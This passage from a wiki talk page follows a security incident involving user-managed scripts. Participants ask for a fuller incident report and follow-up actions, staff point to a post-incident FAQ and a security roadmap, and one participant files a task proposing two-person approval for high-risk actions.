For live vulnerabilities, I think it can be helpful to switch from shouting into a megaphone to whispering. –Novem Linguae (talk) 13:33, 14 March 2026 (UTC)

I found a related security ticket (will keep it vague due to NDA): phab:T419155. –Novem Linguae (talk) 07:01, 15 March 2026 (UTC)

Incident reporting template

Greetings! Thank you for doing this important security review, I hope that all the responses here aren't going to create obstacles to continuing the work... But I'm writing to nudge towards filling out this https://wikitech.wikimedia.org/wiki/Incident_response/Full_report_template incident report template (unless it's outdated and I didn't realize?). The template has been valuable to me in the past, it offers a framework for transparency that might help satisfy some of the open questions, and the process of creating this document could lead to some additional learning opportunities illuminating how to avoid similar issues in the future. Good luck! Adam Wight (WMDE) (talk) 07:26, 9 March 2026 (UTC)

@EMill-WMF: hello, like Adam Wight (WMDE), I would have hoped to see a more comprehensive and detailed report, along with action items for follow ups. "What happened" != "let's find who to blame". Analysis and determining next steps can happen after the detailed timeline. The names of the individuals involved are not really the point, and are not necessary for a useful timeline to be shared. I would also hope to see a detailed set of follow-up actions, with timelines for their implementation & which team(s) will implement them, to be shared. There may be some portions which have reasons to remain in nonpublic phab tasks, but I'd hope to see many action items published with their timelines, phab links, and which teams will work on them. Thanks, ↠Pine (✉) 02:30, 27 March 2026 (UTC)

We've recently published a post-incident FAQ, as part of a larger page discussing our roadmap for this area of work (securing user-managed code). It may not be the precise level of detail you're asking about here, but there are some phab tasks there to follow the work.

Broadly speaking, this final quarter of the current FY (April to June) is intended to include a substantial sprint by my team (Product Safety and Integrity) on re-authentication, user script security, and some related actions on limiting the breadth and impact of staff rights. EMill-WMF (talk) 02:38, 27 March 2026 (UTC)

• @EMill-WMF: thanks for responding so quickly. That FAQ is indeed helpful. I would like to see a redacted version of the mentioned internal retrospective, if that can be done without publishing things that shouldn't be published. I agree with the concept of T197137 Editing sitewide JS/CSS pages should require elevated security and the related T197160 All security-sensitive MediaWiki functionality should require elevated security. An additional checkpoint beyond that could be requiring a second person with the required permission to also approve an action, similar to how a senior software engineer may be required to approve the code of a more junior engineer. If there's already a Phab ticket for implementing the latter concept in MediaWiki, I'd appreciate a link. Thanks, ↠Pine (✉) 03:37, 27 March 2026 (UTC)
• @EMill-WMF: reminder of the above. ↠Pine (✉) 19:33, 1 April 2026 (UTC)

  Hi @Pine - the above link is all we plan on publishing. We'll continue to update the incident FAQ with more details if we have any to share. (I plan to update it soon with some more granularity around the user counts.) EMill-WMF (talk) 00:15, 2 April 2026 (UTC)

• Hi @EMill-WMF: OK. Is there any Phab task for implementing a requirement, or implementing an option to require, that 2 users with an advanced permission must approve a high-risk action? If not then I can create this task and associate it with T197160 All security-sensitive MediaWiki functionality should require elevated security. ↠Pine (✉) 04:49, 2 April 2026 (UTC)

• I created T422312: For very high-risk actions, require approvals from 2 distinct people. ↠Pine (✉) 05:27, 5 April 2026 (UTC)